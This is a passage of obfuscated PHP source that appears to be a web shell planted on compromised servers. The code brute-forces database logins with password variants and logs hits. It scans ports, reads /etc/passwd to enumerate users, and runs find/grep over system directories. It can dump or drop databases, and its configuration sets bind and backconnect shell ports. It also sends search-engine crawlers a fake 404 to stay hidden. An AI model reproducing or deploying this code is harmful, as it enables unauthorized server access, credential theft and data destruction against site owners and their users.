$success = 0; $res = 0; $log = ''; if ($pass != NULL) { $count++; $res = z4u($host, $user, $pass, $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:{$pass} - success
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} {$pass}\xd
"; $success++; } if ($res != "valid" && $try1 == "1") { $count++; $res = z4u($host, $user, @strrev($pass), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . @strrev($pass) . " - success
"; $log .= "{$dbtype} - {$host}:{$port} - {$pass} " . @strrev($user) . "\xd\xa"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i(@strrev($pass)), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i(@strrev($pass)) . " - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i(@strrev($pass)) . "
\xa"; $success++; } } } if ($res != "valid" && $try2 == "1") { $count++; $res = z4u($host, $user, $pass . "1", $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . $pass . "1 - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . $pass . "1
\xa"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($pass . "1"), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($pass . "1") . " - success
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($pass . "1") . "
"; $success++; } } } if ($res != "valid" && $try3 == "1") { $count++; $res = z4u($host, $user, $pass . "123", $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . $pass . "123 - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . $pass . "123
"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($pass . "123"), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($pass . "123") . " - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($pass . "123") . "
"; $success++; } } } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($pass), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($pass) . " - success
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($pass) . "
\xa"; $success++; } } } else { $count++; $res = z4u($host, $user, $user, $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:{$user} - success\xd\xa"; $log .= "{$dbtype} - {$host}:{$port} - {$user} {$user}\xd\xa"; $success++; } if ($res != "valid" && $try1 == "1") { $count++; $res = z4u($host, $user, @strrev($user), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . @strrev($user) . " - success
\xa"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . @strrev($user) . "
"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i(@strrev($user)), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i(@strrev($user)) . " - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i(@strrev($user)) . "
\xa"; $success++; } } } if ($res != "valid" && $try2 == "1") { $count++; $res = z4u($host, $user, $user . "1", $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . $user . "1 - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . $user . "1
\xa"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($user . "1"), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($user . "1") . " - success\xd
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($user . "1") . "
\xa"; $success++; } } } if ($res != "valid" && $try3 == "1") { $count++; $res = z4u($host, $user, $user . "123", $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . $user . "123 - success\xd\xa"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . $user . "123
"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($user . "123"), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($user . "123") . " - success
"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($user . "123") . "\xd
"; $success++; } } } if ($res != "valid" && $try4 == "1") { $count++; $res = z4u($host, $user, z9i($user), $port, $dbtype, $sqldb); if ($res == "valid") { echo "[+] {$user}:" . z9i($user) . " - success\xd\xa"; $log .= "{$dbtype} - {$host}:{$port} - {$user} " . z9i($user) . "
"; $success++; } } } return array($count, $success, $log); } goto IkveK; rKvWm: function z3g($t, $s) { $l = @strlen($s); if (@substr($t, -$l) == $s) { while (@substr($t, -$l) == $s) { $t = @substr($t, 0, @strlen($t) - $l); } } return $t; } goto ClyUd; qbOwf: function z0l($p) { $r = ''; for ($i = 0; $i < @strLen($p); $i += 2) { $r .= @chr(@hexdec($p[$i] . $p[$i + 1])); } return $r; } goto VUgE4; UZyZd: function z3q($f, $t, $c) { if (@strstr($c, $f)) { while (@strstr($c, $f)) { $c = @str_replace($f, $t, $c); } } return $c; } goto XioVI; EXz0m: $sh_exec = $safe_exec = 0; goto GyRyH; m1obs: function z4s($f) { global $filealiases; $r = array(); if (@strstr($f, "/")) { $f = z2h($f, "/"); } $ext = @strtolower(z2h($f, ".")); foreach ($filealiases as $k => $v) { if (@in_array($ext, $v)) { $r[] = $k; } } return @array_unique($r); } goto W5F2W; YWujY: function z9y($t, $s = '') { if (z7r("fopen") && z7r("fwrite") && z7r("fclose") && ($f = @fopen($t, "wb")) !== false) { @fwrite($f, $s); @fclose($f); } elseif (z7r("fopen") && z7r("fputs") && z7r("fclose") && ($f = @fopen($t, "wb")) !== false) { @fputs($f, $s); @fclose($f); } elseif (z7r("file_put_contents")) { return @file_put_contents($t, $s); } else { return 0; } return 1; } goto mMJM8; oImQt: $bmysql = z7r("mysql_connect"); goto I1jhT; JtPmn: $bftp = z7r("ftp_connect") && z7r("ftp_login"); goto oupQq; XVFbW: function z3k() { $wwwdir = false; if (@isset($_SERVER["SCRIPT_NAME"])) { $sn = z1i($_SERVER["SCRIPT_NAME"]); if (@realpath($sn)) { $sp = z1i(@realpath($sn)); } else { $sp = z1i(@realpath(__FILE__)); } $wwwdir = z1a(@substr($sp, 0, @strpos($sp, $sn))); } return $wwwdir; } goto hcX9_; ka3bU: $yaddr = $_SERVER["REMOTE_ADDR"]; goto cR7Pz; qsrym: function z1l($f, $t) { global $bcopy, $bcut; z0a(0); $u = $t == "bcopy" ? "bcut" : "bcopy"; foreach (${$u} as $k => $v) { if (${$u}[$k] == $f) { unset(${$u}[$k]); } } if (!@in_array($f, ${$t})) { ${$t}[] = $f; } else { foreach (${$t} as $k => $v) { if (${$t}[$k] == $f) { unset(${$t}[$k]); } } } } goto qZ9_s; R1sKb: function z0d() { global $found, $nix, $sh_exec, $sn, $sn_reg, $s_in, $st, $st_reg, $st_wwo, $st_cs, $st_not, $s_fd, $s_rec; echo z2b(z9s("142")) . z6d(); $as_fd = array("1" => z9s("144"), "2" => z9s("145"), '' => z9s("146")); $a_rec = array('' => z9s("21")); for ($i = 0; $i < 10; $i++) { $a_rec[$i + 1] = $i + 1 . " " . z9s("145"); } $a_rec["no"] = z9s("22"); $a_paths = array("cwd" => "cwd", "system" => "system", "bin" => "(s)bin dirs", "etc" => "/etc"); echo z5c(array("d", "act" => "search", "ftarget" => "1"), z10e(z9f(z9j(z10e(z7i(z5t(z9s("143")) . z9j(z6i("sn", @htmlspecialchars($sn), "2") . z4a("s_fd", $as_fd, "1", "1") . z4a("s_rec", $a_rec, "1", "1") . z6p("submit", z9s("147"), "7") . " " . z5y("sn_reg", z9s("148"), "sn_reg"))) . z7i(z5t(z9s("149")) . z9j(z6i("s_in", htmlspecialchars($s_in), "9")))) . z10e(z7i(z5t(z9s("150")) . z9j(z6i("st", @htmlspecialchars($st), "9"))) . z7i(z5t('') . z9j(z5y("st_reg", z9s("151"), "st_reg") . z9c("3") . z5y("st_wwo", z9s("152"), "st_wwo") . z9c("3") . z5y("st_cs", z9s("153"), "st_cs") . z9c("3") . z5y("st_not", z9s("154"), "st_not")))))))); echo z6d(); if ($nix && $sh_exec) { echo z2b(z9s("155")) . z6d(); global $findaliases, $unixfind, $find_text, $find_in_dir, $find_in_files, $find_defined, $spath, $lsman; if (!@isset($spath)) { $spath = "cwd"; } $find_result = ''; if (@isset($unixfind) && $unixfind == "1" && @isset($find_text) && !@empty($find_text) && @isset($find_in_dir) && !@empty($find_in_dir) && @isset($find_in_files) && !@empty($find_in_files)) { $find_infiles = @array_unique(@explode(";", $find_in_files)); foreach ($find_infiles as $find_in_file) { $find_result .= z9t("find "" . $find_in_dir . "" -name "" . $find_in_file . "" -print0|xargs -0 grep -E "" . $find_text . """, 0); } } echo z5c(array("d", "act" => "search", "unixfind" => "1"), z10e(z7i(z5t(z9s("156")) . z9j(z6i("find_text", @htmlspecialchars($find_text), "0") . z8v(z9s("147"), "7"))) . z7i(z5t(z9s("149")) . z9j(z6i("find_in_dir", @htmlspecialchars($find_in_dir), "9"))) . z7i(z5t(z9s("157")) . z9j(z6i("find_in_files", @htmlspecialchars($find_in_files), "9"))))); echo z5c(array("d", "act" => "search", "unixfind" => "2"), z10e(z7i(z5t(z9s("158")) . z9j(z2u("find_defined", $findaliases, "0", "1") . z4a("spath", $a_paths, "1", "1") . z8v(z9s("147"), "7") . z5y("lsman", z9s("159"), "lsman", "1"))))); echo z6d(); if (@isset($unixfind) && $unixfind == "2" && @isset($find_defined) && !@empty($find_defined)) { if ($spath == "system") { $rep = "/"; } elseif ($spath == "etc") { $rep = "/etc"; } elseif ($spath == "bin") { $rep = "/bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin"; } else { $rep = """ . $find_in_dir . """; } if (@isset($lsman) && $lsman) { $find_defined = @str_replace(" -ls", '', $find_defined); } $find_defined = @str_replace("%path%", $rep, $find_defined); $find_result = z9t($find_defined, 0); } if (!@empty($find_result)) { if (@isset($lsman) && $lsman) { global $ls_a, $act, $fullpath, $nolsmenu, $nohead; $tls_a = @explode("\xa", $find_result); $ls_a = array(); foreach ($tls_a as $ls) { $ls = @trim($ls); if (!@empty($ls) && !@in_array($ls, $ls_a)) { $ls_a[] = $ls; } } if (@count($ls_a) > 0) { $act = "ls"; $fullpath = 1; $nolsmenu = 1; $nohead = 1; } } else { echo z10e(z9f(z6x(z5w('', "1", 1) . @htmlspecialchars($find_result) . z5q())), "2") . z6d(); } } } } goto C7dAN; slWSx: $config = array("version" => "2.0.2011.1009", "auth" => array("use_auth" => 0, "md5_user" => "098f6bcd4621d373cade4e832627b4f6", "md5_pass" => "098f6bcd4621d373cade4e832627b4f6"), "default_vars" => array("language" => "en", "email" => "[email protected]", "default_sort" => "0a", "default_act" => "tools", "bind_port" => "31337", "bind_pass" => "P@55w0rd", "backcon_port" => "31337", "sql_host" => "localhost", "sql_user" => "root", "sql_db" => "mysql", "sql_table" => "users", "ftp_user" => "anonymous", "ftp_pass" => "[email protected]", "downloada" => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR"), "banned" => array("agents" => array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"), "send_header" => "HTTP/1.0 404 Not Found"), "use_buffer" => 1, "visual" => array("width" => "1024", "images" => 1, "skins" => array("dark", "light"), "default_skin" => "light", "light" => array("bodybg" => "#717678", "tbarbg1" => "#AAAAAA", "tbarbg2" => "#BFBFBF", "tbarbordert" => "#BBBBBB", "tbarborderb" => "#AAAAAA", "topbg1" => "#BBBBBB", "topbg2" => "#CCCCCC", "topborder1" => "#CDCDCD", "topcolor" => "#333333", "topshadow" => "#DDDDDD", "tlinkcolor" => "#333333", "tlinkshadow" => "#DDDDDD", "tlinkcolorhover" => "#000000", "qlbg1" => "#CCCCCC", "qlbg2" => "#AAAAAA", "qlborder" => "#DDDDDD", "qlcolor" => "#222222", "qlshadow" => "#DDDDDD", "qlcolorhover" => "#000000", "footerbg1" => "#CCCCCC", "footerbg2" => "#AAAAAA", "footerborder1" => "#BBBBBB", "footercolor" => "#333333", "footershadow" => "#DDDDDD", "tablebg" => "#F2F2F2", "tableshadow" => "#666666", "tableborder" => "#777777 ", "errcolor" => "#FF0000", "okcolor" => "#008200", "normalcolor" => "#333333", "dircolor" => "#333333", "fontfam" => "'sans-serif',sans-serif", "fontcolor" => "#525252", "idirborder" => "#2F7595", "idirbg1" => "#93BED7", "idirbg2" => "#63A0C7", "ifileborder" => "#cccccc", "ifilebg1" => "#FFFFFF", "ifilebg2" => "#DDDDDD", "reg_self" => "#7B7869", "reg_interesting" => "#008200", "reg_bad" => "#FF0000"), "dark" => array("bodybg" => "#717678", "tbarbg1" => "#141414", "tbarbg2" => "#111111", "tbarbordert" => "#111111", "tbarborderb" => "#000000", "topbg1" => "#111111", "topbg2" => "#222222", "topborder1" => "#222222", "topcolor" => "#CCCCCC", "topshadow" => "#000000", "tlinkcolor" => "#DDDDDD", "tlinkshadow" => "#000000", "tlinkcolorhover" => "#FFFFFF", "qlbg1" => "#222222", "qlbg2" => "#111111", "qlborder" => "#333333", "qlcolor" => "#F3F3F3", "qlshadow" => "#0A0A0A", "qlcolorhover" => "#FFFFFF", "footerbg1" => "#141414", "footerbg2" => "#111111", "footerborder1" => "#333333", "footercolor" => "#CCCCCC", "footershadow" => "#000000", "tablebg" => "#F2F2F2", "tableshadow" => "#444444", "tableborder" => "#666666", "errcolor" => "#FF0000", "okcolor" => "#008200", "normalcolor" => "#333333", "dircolor" => "#333333", "fontfam" => "'sans-serif',sans-serif", "fontcolor" => "#525252", "idirborder" => "#2F7595", "idirbg1" => "#93BED7", "idirbg2" => "#63A0C7", "ifileborder" => "#cccccc", "ifilebg1" => "#FFFFFF", "ifilebg2" => "#DDDDDD", "reg_self" => "#7B7869", "reg_interesting" => "#008200", "reg_bad" => "#FF0000")), "reg_interesting" => array("d" => array("backup", "admin"), "f" => array("conf(.*)\.php$", "\.sql$", "\.db$", "auth(.*)\.php$")), "reg_bad" => array("d" => array("root"), "f" => array("iptables", "ipchains"))); goto TVkpg; QNgWP: function z5b($l, $i) { return z6x(z8e($l) . $i, "1"); } goto yPU8P; cR7Pz: $bsafe = !z7r("ini_get") || z8l("safe_mode") || !$sh_exec ? 1 : 0; goto VIAuM; zKZd2: function z1i($t) { $t = @str_replace("\", "/", $t); if (@strstr($t, "//")) { while (@strstr($t, "//") !== false) { $t = @str_replace("//", "/", $t); } } return $t; } goto UO5J7; bNKuR: function z8a($d, $t) { return z4f($d, $t, 1); } goto f3HO3; s0QaI: function z9j($i, $c = '', $s = '') { return z7k($c, $s) . $i . z7g(); } goto O_Fet; MzhuR: function z0e($errno, $errstr, $errfile, $errline) { global $safeDirArr, $c, $i; preg_match("#SAFE\s+MODE\s+Restriction\s+in\s+effect(.*)not\s+allowed\s+to\s+access\s+(.*)\s+owned\s+by\s+uid(.*)#", $errstr, $o) || preg_match("#open_basedir\s+restriction(.*)File\s*\((.*)\)\s+is\s+not#", $errstr, $o); if ($o) { $safeDirArr[$c] = $o[2]; $c++; } } goto Q_zdi; W2E1l: if (@isset($showrename1) && $showrename1) { echo z2b(z5c(array("act" => "d", "d", "dt" => "rename", "tt", "drename" => "1"), z10e(z7i(z6x(z8e(z9s("473", z2h($tt))) . z5u("newname", $tt, "9") . z8v(z9s("73"), "7"))), "2")), "0"); } goto bdx4m; Lg8u5: function z6c($i, $n, $c = '', $s = '') { return z6o($n, $c, $s) . $i . z7g(); } goto UA1KG; oWcYY: function z6p($n, $i, $c = '', $s = '') { return "<input type="submit" " . ($n != '' ? " name="" . $n . """ : '') . "value="" . z8x($i) . """ . ($c != '' ? " class="" . z4m($c, "5") . """ : '') . ($s != '' ? @is_numeric($s) ? z10t($s) : $s : '') . ">"; } goto sAQAM; QuCQY: function z8c($i, $s, $e) { $p = ''; $k = array("80" => "Webserver", "443" => "OpenSSL", "3306" => "MySQL", "5432" => "PostgreSQL"); if (z7r("fsockopen") && z7r("stream_set_timeout")) { for ($n = $s; $n <= $e; $n++) { $c = @fsockopen($i, $n, $en, $es, 1); if ($c) { @stream_set_timeout($c, 0, 50000); $t = @preg_replace("/(
|
|[^a-z0-9_&%:;\.,\[\]\(\)\s-])/i", '', @fread($c, 100)); $t = @isset($k[$n]) ? $k[$n] . " " . $t : $t; if (@empty($t)) { $t = "Open"; } $p .= "[{$i}] Port {$n}" . (@strlen($n) < 5 ? @str_repeat(" ", 5 - @strlen($n)) : '') . " {$t}\xd
"; @fclose($c); } } } return $p; } goto oBO9b; teEkD: function z8i() { $u = array(); $p = z9p("/etc/passwd"); if ($p) { $ll = @explode("
", $p); foreach (@array_unique($ll) as $l) { $s = @explode(":", $l); if (@isset($s[0]) && @isset($s[2]) && @isset($s[3]) && @isset($s[5]) && @isset($s[6]) && !@isset($u[$s[0]])) { $u[$s[0]] = array($s[2], $s[3], $s[5], $s[6]); } } } elseif (z7r("posix_getpwuid")) { for ($i = 0; $i < 65535; $i++) { $a = @posix_getpwuid($i); if ($a && @is_array($a)) { if (@isset($a["name"]) && !@empty($a["name"]) && !@isset($u[$a["name"]])) { $u[$a["name"]] = array($a["uid"], $a["gid"], $a["dir"], $a["shell"]); } } } } return $u; } goto ft0rk; yPBNv: function z7h($c = '', $s = '') { return z6z("center", $c, $s); } goto qgHsQ; eT1cN: function z2z() { global $d; echo z2b(z10e(z7i(z6x(z5c(array("act" => "f", "d"), z8e(z9s("35")) . z6i("f", $d, "0") . z4a("ft", array("functions" => z9s("74"), "edit" => z9s("75"), "new" => z9s("195")), "1") . z8v("»", "7")), '') . z6x(z5c(array("act" => "d", "dold" => $d), z8e(z9s("36")) . z6i("d", $d, "0") . z4a("dt", array("chdir" => z9s("425"), "new" => z9s("195")), "1") . z8v("»", "7")), '')), "2"), ''); } goto KG3or; vEqp2: function z2h($t, $s = "/") { $e = z1k($t, $s); return @count($e) == 2 ? $e[1] : $t; } goto LBfQ1; KG3or: function z5r($s) { $a = @preg_replace("/[^0-9]/", '', $s); if (@empty($a)) { $a = "0"; } $b = @substr($s, -1); if ($b != "d") { $b = "a"; } return array($a, $b); } goto lyEMK; z2vJk: function z7b($d, $t) { return z4f($d, $t); } goto bNKuR; xYCKC: if (!@isset($use_buffer)) { if (@isset($_SESSION["use_buffer"])) { $use_buffer = $_SESSION["use_buffer"]; } else { $use_buffer = z7x("4"); } } else { $use_buffer = (bool) (int) $use_buffer; if (!$use_buffer) { z0a(); } } goto BvMGV; JkqMK: if (@isset($lsall) && @isset($action) && $action != '') { $lsall_arr = array(); $tlsall_arr = @explode("
", $lsall); foreach ($tlsall_arr as $tls) { $tls = @trim($tls); if (!@empty($tls) && !@in_array($tls, $lsall_arr)) { $lsall_arr[] = $tls; } } if (@count($lsall_arr) > 0) { foreach ($lsall_arr as $dfls) { if (@isset($use_buffer) && $use_buffer && @isset($bcopy) && @isset($bcut) && @is_array($bcopy) && @is_array($bcut)) { switch ($action) { case "bcopy": if (!@in_array($dfls, $bcopy)) { z1l($dfls, "bcopy"); } break; case "bcut": if (!@in_array($dfls, $bcut)) { z1l($dfls, "bcut"); } break; case "bunsetcopy": if (@in_array($dfls, $bcopy)) { z1l($dfls, "bcopy"); } break; case "bunsetcut": if (@in_array($dfls, $bcut)) { z1l($dfls, "bcut"); } break; case "bunsetall": if (@in_array($dfls, $bcopy)) { z1l($dfls, "bcopy"); } elseif (@in_array($dfls, $bcut)) { z1l($dfls, "bcut"); } break; default: break; } } switch ($action) { case "delete": if (z4q($dfls)) { z8d($dfls); } break; default: break; } } if (@isset($use_buffer) && $use_buffer) { z1w(); } } } goto vbtGe; sUB3p: function z1y($d, $t) { return z5c(array("act" => "d", "d" => $d), z4a("dt", array("chdir" => z9s("425")), "3") . z8v("»", "6"), $t); } goto PuA0W; vLr7u: if ($act == "sql") { $hideconnect = 0; $hmsg = ''; if (@isset($sql_act) && $sql_act == "logoff") { z0u("sql_server"); z0u("sql_user"); z0u("sql_pass"); z0u("sql_port"); z0u("sql_engine"); z0u("sql_session"); z0u("sql_sort"); } $sql_session = 0; if (@isset($_SESSION["sql_session"])) { if (!@isset($sql_refresh) || !$sql_refresh) { $sql_server = $_SESSION["sql_server"]; $sql_user = $_SESSION["sql_user"]; $sql_pass = $_SESSION["sql_pass"]; $sql_port = $_SESSION["sql_port"]; $sql_engine = $_SESSION["sql_engine"]; if (!@isset($sql_sort)) { $sql_sort = $_SESSION["sql_sort"]; } $sql_session = 1; } else { z0u("sql_server"); z0u("sql_user"); z0u("sql_pass"); z0u("sql_port"); z0u("sql_engine"); z0u("sql_session"); z0u("sql_sort"); } } if (!@empty($sql_server) && !@empty($sql_port) && !@empty($sql_user) && @isset($sql_pass) && !@empty($sql_engine)) { if (!@isset($sql_db)) { $sql_db = ''; } $sql = new my_sql(); $sql->db = $sql_engine; $sql->host = $sql_server; $sql->port = $sql_port; $sql->user = $sql_user; $sql->pass = $sql_pass; $sql->base = $sql_db; if ($sql->connect()) { $hideconnect = 1; if (!@isset($sql_sort)) { $sql_sort = "0a"; } $_SESSION["sql_server"] = $sql_server; $_SESSION["sql_user"] = $sql_user; $_SESSION["sql_pass"] = $sql_pass; $_SESSION["sql_port"] = $sql_port; $_SESSION["sql_engine"] = $sql_engine; $_SESSION["sql_session"] = 1; $_SESSION["sql_sort"] = $sql_sort; $hideconnect = 1; $db_actions = array("select" => "Select", "dump" => "Dump", "drop" => "Drop"); $table_actions = array("browse" => "Browse", "dump" => "Dump", "drop" => "Drop", "empty" => "Empty", "insert" => "Insert"); echo z2b(z9m("2") . z7i(z6x(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine"), z8v(z9s("352"), !@isset($sql_act) || !@in_array($sql_act, array("query", "emails", "serverstatus", "servervars", "processes")) ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "query", "sql_db"), z8v(z9s("353"), @isset($sql_act) && $sql_act == "query" ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "emails", "sql_db"), z8v(z9s("354"), @isset($sql_act) && $sql_act == "emails" ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "serverstatus"), z8v(z9s("355"), @isset($sql_act) && $sql_act == "serverstatus" ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "servervars"), z8v(z9s("356"), @isset($sql_act) && $sql_act == "servervars" ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "processes"), z8v(z9s("357"), @isset($sql_act) && $sql_act == "processes" ? "12" : "14")) . z5c(array("act" => "sql", "d", "sql_act" => "logoff"), z8v(z9s("358"), "14")), '')) . z10w()); if ($sql_engine == "MySQL") { if (!@isset($sql_act)) { if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $sql_act = "db_act"; $db_act = "select"; } else { $sql_act = "showdb"; $sql_db = ''; $sql->base = ''; } } else { $sql_act = "showdb"; } } $dbs = $sql->list_dbs(); $db_list = array('' => z9s("367", @count($dbs))); foreach ($dbs as $k => $v) { $db_list[$k] = $v; } if ($sql_act == "db_act" && @isset($db_act) && !@empty($sql_db)) { switch ($db_act) { case "dump": $sql_act = "dump"; break; case "drop": if (@isset($drop_confirm) && $drop_confirm) { $sql->query("DROP DATABASE " . $sql_db . ";"); $sql_act = "showdb"; $sql_db = ''; } else { $sql_act = "dropdb"; } break; } } elseif ($sql_act == "table_act" && @isset($table_act) && !@empty($sel_table)) { switch ($table_act) { case "dump": $sql_act = "dump"; break; case "drop": if (@isset($drop_confirm) && $drop_confirm) { $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("DROP TABLE " . $sel_table . ";"); } $sel_table = ''; $sql_act = "db_act"; $db_act = "select"; } else { $sql_act = "droptable"; } break; case "empty": if (@isset($empty_confirm) && $empty_confirm) { $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("DELETE FROM " . $sel_table . ";"); } $sql_act = "table_act"; $table_act = "browse"; } else { $sql_act = "empty"; } break; case "insert": break; case "delete": $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("DELETE FROM " . $sel_table . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;"); } $table_act = "browse"; break; } } if (!@in_array($sql_act, array("showdb", "query", "serverstatus", "servervars", "processes", "emails"))) { $db_submit_acts = $table_submit_acts = ''; foreach ($db_actions as $dk => $dv) { $db_submit_acts .= z6p($dk, $dv, "7"); } foreach ($table_actions as $tk => $tv) { $table_submit_acts .= z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act" => $tk, "sql_db", "sel_table"), z6p($tk, $tv, "7")); } $table_submit_acts = z10e(z7i(z9j($table_submit_acts)), "2"); $db_table = z10e(z7i(z6x(z8e(z9s("364")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "db_act"), z4a("sql_db", $db_list, "0", 1) . z4a("db_act", $db_actions, "1") . z8v(z9s("92"), "7")))), "2"); if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array('' => "-"); $sql->query("SHOW TABLES FROM " . $sql_db . ";"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[$rv] = $rv . " (" . $sql->count_rows($rv) . ")"; } } } $table_table = z10e(z7i(z6x(z8e(z9s("365")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "sql_db"), z4a("sel_table", $table_list, "0", 1) . z4a("table_act", $table_actions, "1") . z8v(z9s("92"), "7")))), "2"); } } echo z2b(@isset($table_table) ? array($db_table, $table_table) : $db_table); if ($sql_act == "dropdb") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("437", $sql_db)) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "db_act", "db_act" => "drop", "sql_db", "drop_confirm" => "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), "7")))), "2"); echo z6d(); } elseif ($sql_act == "droptable") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("438", $sel_table)) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "table_act" => "drop", "sql_db", "sel_table", "drop_confirm" => "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), "7")))), "2"); echo z6d(); } elseif ($sql_act == "empty") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("439", $sel_table)) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "table_act" => "empty", "sql_db", "sel_table", "empty_confirm" => "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), "7")))), "2"); echo z6d(); } elseif ($sql_act == "dump") { if (!@isset($dump_filename)) { $dump_filename = $tempdir . "dump_" . @getenv("SERVER_NAME") . "_db_" . @date("d-m-Y_H-i-s") . ".sql"; } if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array(); $sql->query("SHOW TABLES FROM " . $sql_db . ";"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[] = $rv; } } } } } if (!@isset($sql_tables) || @empty($sql_tables)) { if (@isset($sel_table) && !@empty($sel_table)) { $sql_tables = $sel_table; } else { $sql_tables = @count($table_list) > 0 ? @implode(",", $table_list) : ''; } } elseif (@isset($table_list) && @is_array($table_list)) { $tmp_tables = @explode(",", $sql_tables); $sql_tables = ''; foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); if (@in_array($tmp_table, $table_list)) { $sql_tables .= $tmp_table . ","; } else { break; } } if (@empty($sql_tables)) { $sql_tables = @implode(",", $table_list); } } echo z2b(z9s("440")); echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "dump", "dump_confirm" => "1"), z5n() . z7i(z5t(z9s("441")) . z9j(z4a("sql_db", $db_list, "7", 1))) . z7i(z5t(z9s("442")) . z9j(z5w("sql_tables", "5") . (@isset($sql_tables) ? @htmlspecialchars($sql_tables) : '') . z5q())) . z7i(z5t(z9s("443")) . z9j(z5u("dump_filename", $dump_filename, "7"))) . z7i(z5t(z9c()) . z9j(z5y("sql_save2file", z9s("444"), "sql_save2file") . z9c() . z5y("sql_download", z9s("445"), "sql_download"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("446"), "7"))) . z5n()) . z10w(); if (@isset($dump_confirm) && $dump_confirm) { $fp = 0; if (@isset($sql_save2file) && $sql_save2file == "1" && @isset($dump_filename) && !@empty($dump_filename)) { if (z4q($dump_filename)) { @unlink($dump_filename); } $fp = @fopen($dump_filename, "a"); } $dumping_arr = array(); $tmp_tables = @explode(",", $sql_tables); foreach ($tmp_tables as $tmp_table) { $tmp_table = 